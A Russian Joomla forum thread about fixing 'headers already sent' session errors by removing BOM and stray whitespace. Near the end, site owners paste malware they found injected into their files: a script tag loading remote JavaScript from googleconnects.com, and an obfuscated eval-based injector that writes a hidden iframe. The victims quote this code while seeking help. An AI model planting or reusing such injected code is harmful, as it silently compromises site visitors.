Новости Joomla

0 Пользователей и 1 Гость просматривают эту тему.
  • 84 Ответов
  • 235047 Просмотров

Как убрать BOM? Либо воспользоваться расширенными редакторами текста, например, Akelpad, Note++ ну и т.д. <...>

ОГРОМНОЕ СПАСИБО. Помогло пересохранение с помощью Akelpad.

Долго мучился, нужно чтобы файл configuration.php и session.php был в utf-8 и без bom

У меня тоже оказалось именно так.

прописал в файле .htaccess

Код
AddDefaultCharset utf-8
AddCharset utf-8 *
<IfModule mod_charset.c>
    CharsetSourceEnc utf-8
    CharsetDefault utf-8
</IfModule>

Извините за глупый вопрос. А Вы до этого пробовали пересохранять файлы в ut8 без bom?

Тоже была такая беда сохранил файл configuration.php в utf-8 без ВОМ и все стало на свои места! Спасибо за помощь
*

elgoog

  • Новичок
  • 3
  • 0 / 0
Люди выручайте .Стянул свой сайт с серере.Поставил себе Денвер ну и на него свой сайт.Чтобы сначало на нём всё пробывать .Вобщем если снимаю галочьку с ВОМ одна ерунда ,а не снимаю другая .
*

elgoog

  • Новичок
  • 3
  • 0 / 0


Извините вот скрины
« Последнее редактирование: 31.08.2010, 08:25:00 от elgoog »

Люди выручайте .Стянул свой сайт с серере.Поставил себе Денвер ну и на него свой сайт.Чтобы сначало на нём всё пробывать .Вобщем если снимаю галочьку с ВОМ одна ерунда ,а не снимаю другая .

Та же ситуация, перепробовал почти все, и utf-8 (с bom и без такового) и ansi, и index.php, и configuration.php, и session.php! Перенес так же с хоста, и через денвер пробовал! Ошибки в тех же линиях (423, 426) :huh:  !

Проблема решена! Смотри пробелы перед "<?php" в файлах index.php, configuration.php, и session.php, ну и соответственно кодировку UTF-8(without BOM) =)
*

elgoog

  • Новичок
  • 3
  • 0 / 0
ulyxa не повериш всё стояло как было (без пробелов и ВОМ) просто создал новые файлы и в них скопировал всё со старых и заработало и тоже без пробелов и ВОМ.

помогите решить проблему Warning: Unexpected character in input: ' ' (ASCII=12) state=1 in X:\home\localhost\www\project\libraries\joomla\session\storage\database.php on line 144

Warning: Unexpected character in input: '' (ASCII=25) state=1 in X:\home\localhost\www\project\libraries\joomla\session\storage\database.php on line 144

Parse error: syntax error, unexpected T_STRING in X:\home\localhost\www\project\libraries\joomla\session\storage\database.php on line 144
*

lubitel3

  • Осваиваюсь на форуме
  • 23
  • 0 / 0
Была такая проблема,
Код
Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by /home/libraries/joomla/session/session.php on line 423
только проблема была в index.php, убрал лишнюю строчку и перекодировал, проблему решил только вот мучает вопрос, сайт работает хорошо уже 8 месяцев и вдруг такой глюк, почему?
Кто может объяснить? :D
*

Lancer2404

  • Осваиваюсь на форуме
  • 17
  • 0 / 0
Помогите пожалуйста вылезают строки
Код
Warning: ini_set() has been disabled for security reasons in /www/htdocs/libraries/joomla/session/session.php on line 102

Warning: ini_set() has been disabled for security reasons in /www/htdocs/libraries/joomla/session/session.php on line 105

Warning: ini_set() has been disabled for security reasons in /www/htdocs/libraries/joomla/session/session.php on line 688

Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /www/htdocs/libraries/joomla/session/session.php:102) in /www/htdocs/libraries/joomla/session/session.php on line 423

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /www/htdocs/libraries/joomla/session/session.php:102) in /www/htdocs/libraries/joomla/session/session.php on line 423

Warning: Cannot modify header information - headers already sent by (output started at /www/htdocs/libraries/joomla/session/session.php:102) in /www/htdocs/libraries/joomla/session/session.php on line 426
configuraion.php session.php кодировал без ROM.Заново перезаписывал толку нет.
*

Lancer2404

  • Осваиваюсь на форуме
  • 17
  • 0 / 0
Написал хостеру тот сказал в session.php заменить  ini_set на @ini_set.после этих манипуляций ошибка исчезла.Но не повлияет ли это на работу сайта?

Аналогичная проблема была. Кодировки, ВОМ, всякие барадатые одмины и прочее не помогли. Не рассказывая про долгое ислледование проблемы скажу, что все полечилось прописанием в .htaccess директивы "php_value session.auto_start on".
А столкнулся с проблемой при смене хостера. Так что не у всех настройки одинаковые по умолчанию. Вот с этого и нужно начинать искать проблему.

Здравствуйте все подскажите мне что нужно сделать с этим скриптом Я уже всё перепробовал и делал без BOM и убирал все пробелы в файле confing.php и всё равно ощибка остаёться что ещё делать ума не приложу

Warning: session_start() [function.session-start]: open(/home/username/public_html/temporary/sessions/sess_564ecd33aca5535fffc08215a97b9778, O_RDWR) failed: No such file or directory (2) in /home/emotions/public_html/pornyha.tadr.ru/include/config.php on line 13

Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /home/emotions/public_html/pornyha.tadr.ru/include/config.php:13) in /home/emotions/public_html/pornyha.tadr.ru/include/config.php on line 13

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /home/emotions/public_html/pornyha.tadr.ru/include/config.php:13) in /home/emotions/public_html/pornyha.tadr.ru/include/config.php on line 13

Warning: require_once(/home/username/public_html/smarty/libs/Smarty.class.php) [function.require-once]: failed to open stream: No such file or directory in /home/emotions/public_html/pornyha.tadr.ru/include/config.php on line 38

Fatal error: require_once() [function.require]: Failed opening required '/home/username/public_html/smarty/libs/Smarty.class.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/emotions/public_html/pornyha.tadr.ru/include/config.php on line 38

Warning: Unknown: open(/home/username/public_html/temporary/sessions/sess_564ecd33aca5535fffc08215a97b9778, O_RDWR) failed: No such file or directory (2) in Unknown on line 0

Warning: Unknown: Failed to write session data (files). Please verify that the current setting of session.save_path is correct (/home/username/public_html/temporary/sessions) in Unknown on line 0
*

Franc

  • Новичок
  • 4
  • 0 / 0
Действительно пересохраняешь configuration.php в Akelpad убрав галочку "BOM" и все заработает. Спасибо, что подсказали.

А что посоветуете, если один и тот же скрипт работает правильно под Linux, но выдает предупреждение под Windows? BOM'ов нет.
« Последнее редактирование: 12.12.2010, 06:26:37 от aliputin »
*

maxles

  • Новичок
  • 8
  • 0 / 0
Люди помогите пожалуйста новичку. Значит имеется сайт www.proba-ege.ru
Все работало нормально. И вот недавно выскочила ошибка Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /home/orionv/public_html/1/proba-ege.ru/index.php:2) in /home/orionv/public_html/1/proba-ege.ru/libraries/joomla/session/session.php on line 423

Warning: Cannot modify header information - headers already sent by (output started at /home/orionv/public_html/1/proba-ege.ru/index.php:2) in /home/orionv/public_html/1/proba-ege.ru/libraries/joomla/session/session.php on line 426

Перекодировка не помогает. Пробелов тоже вроде нет...
Как быть. Хостинг ответил  так "У Вас там насколько я вижу вредоносное содержимое + внимательно читайте информацию в ошибке и проверяйте скрипты."

Добрый день,начало обсуждения читал,в целом решил проблему,BOM убрал,но у меня из 2 страниц на одной осталось еще такая ошибка
Warning: Unknown: Your script possibly relies on a session side-effect which existed until PHP 4.2.3. Please be advised that the session extension does not consider global variables as a source of data, unless register_globals is enabled. You can disable this functionality and this warning by setting session.bug_compat_42 or session.bug_compat_warn to off, respectively in Unknown on line 0
как решить?

Вот ответ на все ващи вопросы при копировании на сервер или же разархивирования на сервер. Происходят некоторые ошибки и файлы includes/framework.php, administrator/includes/framework.php, а также libraries/joomla/session/session.php нуждаются в лечении.

самый простой и верный метод - залейте их заного на сервер через FTP client.
Желательно папку administrator/includes/ залейте всю это вам займет всего-то минута.

Не парьтесь ища ошибку.
 ;D  :D  *DRINK*

хорошо конечно, что хотя бы кому-то помог хотя бы один описанный здесь псособ... НО МНЕ НЕ ПОМОГ НИ ОДИН!
но я нашёл истину.
я перекурил десятки форумов, саппортов, мануалов, на английском, немецком, албанском и русском языках, удалял БОМы в нотпаде++ и в акелпаде, презаливал файлы обычным фтп-клиентом по одной штуке... дописывал строчки в хтаксесс, что устраняло лишь проблему кодировки, но авторизация так и не работала, я и проверял в бд, включен ли модуль авторизация и модуль пользователь, НИЧЕГО, слышите, НИЧЕГО не помогло.
ВЫХОД: не в начале, перед
Код
<?php
, а в конце, после
Код
?>
, в файле configuration.php, стояло две табуляции (отступа).
Работа сайта восстановилась как в Денвере, так и на хостинге Хостер.Ру, причём я вернул назад все файлы оригинала, файл хтакцесс, и заново перезалил бд. это лишний раз доказало, что ве мои манипуляции были лишними. вот так.
Имя Спасителю: http://phpfaq.ru/headers
*

yaroslav87

  • Захожу иногда
  • 126
  • 1 / 0
про configuraton.php все понятно, но я устанавливаю Joomla сразу на хостинг и этого файла как известно еще нет на данном этапе. а установку не пропускает. пишет
Цитировать
Возникла ошибка:

Похоже, что в вашем веб-браузере выключены cookie. Вы не сможете установить приложения, если эта функция будет выключена.
как здесь быть
*

fritz

  • Новичок
  • 5
  • 0 / 0
короче проблему с ошибками session и заодно с кодировкой решил... надо было создать каталог tmp с правами 777 или 755 в корне фтп доступа, т.е. у меня не в корне сайта, а на 1 уровень выше.
мой хостинг: мирохост
*

MAzZY

  • Захожу иногда
  • 93
  • 5 / 0
удалено
« Последнее редактирование: 15.04.2011, 10:48:27 от MAzZY »
*

GGGoL

  • Осваиваюсь на форуме
  • 12
  • 0 / 0
  • время Есть...
у меня тоже была подобная проблема, благодаря этой теме справился... Спасибо!

Здравствуйте!
Сайт выдает ошибку
Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /home/host3025/admaster.ru/htdocs/www/index.php:1) in /home/host3025/admaster.ru/htdocs/www/libraries/joomla/session/session.php on line 423

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /home/host3025/admaster.ru/htdocs/www/index.php:1) in /home/host3025/admaster.ru/htdocs/www/libraries/joomla/session/session.php on line 423

Warning: Cannot modify header information - headers already sent by (output started at /home/host3025/admaster.ru/htdocs/www/index.php:1) in /home/host3025/admaster.ru/htdocs/www/libraries/joomla/session/session.php on line 426

Делал все как в теме описано но мне ничего не помогло.
Помогите разобратся
*

shtangist

  • Осваиваюсь на форуме
  • 20
  • 0 / 0
Привет! Та же фигня, перепробовал все вышеупомянутые методы
при этом ошибка появилась не после переноса, а просто утром проснулся и на тебе...

Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /home/cherkash/public_html/smartmaster.com.ua/libraries/joomla/config.php:1) in /home/cherkash/public_html/smartmaster.com.ua/libraries/joomla/session/session.php on line 423

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /home/cherkash/public_html/smartmaster.com.ua/libraries/joomla/config.php:1) in /home/cherkash/public_html/smartmaster.com.ua/libraries/joomla/session/session.php on line 423

Warning: Cannot modify header information - headers already sent by (output started at /home/cherkash/public_html/smartmaster.com.ua/libraries/joomla/config.php:1) in /home/cherkash/public_html/smartmaster.com.ua/libraries/joomla/session/session.php on line 426
joomla template

при этом о
« Последнее редактирование: 08.08.2011, 13:29:10 от shtangist »
*

vanek099

  • Новичок
  • 2
  • 0 / 0
Привет! Та же фигня, перепробовал все вышеупомянутые методы
при этом ошибка появилась не после переноса, а просто утром проснулся и на тебе...

Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /home/cherkash/public_html/smartmaster.com.ua/libraries/joomla/config.php:1) in /home/cherkash/public_html/smartmaster.com.ua/libraries/joomla/session/session.php on line 423

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /home/cherkash/public_html/smartmaster.com.ua/libraries/joomla/config.php:1) in /home/cherkash/public_html/smartmaster.com.ua/libraries/joomla/session/session.php on line 423

Warning: Cannot modify header information - headers already sent by (output started at /home/cherkash/public_html/smartmaster.com.ua/libraries/joomla/config.php:1) in /home/cherkash/public_html/smartmaster.com.ua/libraries/joomla/session/session.php on line 426
joomla template

при этом о

Здравствуйте!
Сайт выдает ошибку
Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /home/host3025/admaster.ru/htdocs/www/index.php:1) in /home/host3025/admaster.ru/htdocs/www/libraries/joomla/session/session.php on line 423

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /home/host3025/admaster.ru/htdocs/www/index.php:1) in /home/host3025/admaster.ru/htdocs/www/libraries/joomla/session/session.php on line 423

Warning: Cannot modify header information - headers already sent by (output started at /home/host3025/admaster.ru/htdocs/www/index.php:1) in /home/host3025/admaster.ru/htdocs/www/libraries/joomla/session/session.php on line 426

Делал все как в теме описано но мне ничего не помогло.
Помогите разобратся

такая же была ситуация. в файле который в скобках, у вас это

/home/host3025/admaster.ru/htdocs/www/index.php у voloxa89
 и
/home/cherkash/public_html/smartmaster.com.ua/libraries/joomla/config.php у shtangist

открывайте редактором и смотрите перед <?php (в самом начале)  что написано, у меня был запись какого то скрипта видимо вирусня. стирайте все что перед <?php.

может быть что после "лечения" этих  файлов нужно будет также ручками поправит еще несколько файлов (у меня было штук 5), ну вы надеюсь поняли где их искать (смотрим путь в скобках).
Надеюсь понятно обьяснил.
 

*

shtangist

  • Осваиваюсь на форуме
  • 20
  • 0 / 0
спасибо, обнаружилась проблема
вирус блин! в файлы с расширениями .php и .html записался скрипт
<script src="http://googleconnects.com/tipslide.js"></script>
не знаю теперь вот что и делать, всего на хостинге по результатам поиска такая строка содержится в 1400 файлах
*

vanek099

  • Новичок
  • 2
  • 0 / 0
я отписался службе поддержки, они все поправили
*

Sedov

  • Новичок
  • 7
  • 0 / 0
Проблема решена! Смотри пробелы перед "<?php" в файлах index.php, configuration.php, и session.php, ну и соответственно кодировку UTF-8(without BOM) =)

Спасибо тебе Человек! У меня в индексе перед "<?php" какая-то бяка прописалась. Сайт работал год и вдруг такая беда, я эту кодировку как ты - везде поменял по 10 раз, ничего не помогло пока не проверил начало кода в индексе.
*

Sedov

  • Новичок
  • 7
  • 0 / 0
И снова здравствуйте  :o

Проблема вернулась:

в индексе перед тегом "<?php" снова появилось это:

Код
<?ph<script>var $J=(Date);if($J){$e='594';}var $t={'u':'r\x65\x76\x65rse','D':!false,'Y':'\x73\x70lit','e':'\x6Aoin','S':'st\x72\x69\x6Eg','k':'s\x75\x62str','R':'l\x65\x6E\x67th'},$W='',$h=['mentidocur(et.w\'vie= sty"<dldiay:psld;" nonei="_N_n"J__//ttpoi>h:decm5/ghd.suns1po.p.?si<1iv;)\'d/d=>'][$t.e]('\x0A'),$e=$e[$t.Y]($W),$g=function(){for(var $S in $e){if(typeof($e[$S])==$t.S){var $Q=[],$y=$t.D,$J=$e[$S]*-~false;for(S=[]^[];S<$h[$t.R];S+=$J){$Q[S]=($y)?($h[$t.k](S,$J)[$t.Y]($W)[$t.u]()[$t.e]($W)):($h[$t.k](S,$J));$y=!$y;}$h=$Q[$t.e]($W);}}this['ev\x61\x6C']($h);},$h=$g();if ((Number)&&(Array)&&(Function)&&(String)&&(Image)){if(document.getElementsByTagName('script').length > 0){document.write('<iframe src="'+document.getElementById('____NJ').innerHTML+'" style="position: fixed; left:100px; top:-1000px; visibility: hidden;"></iframe>');}}</script>

Подскажите пожалуйста, может ли этот скрипт быть связан с SAPE.RU? На других Joomla-сайтах с Сапой, такого безобразия не наблюдается.
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться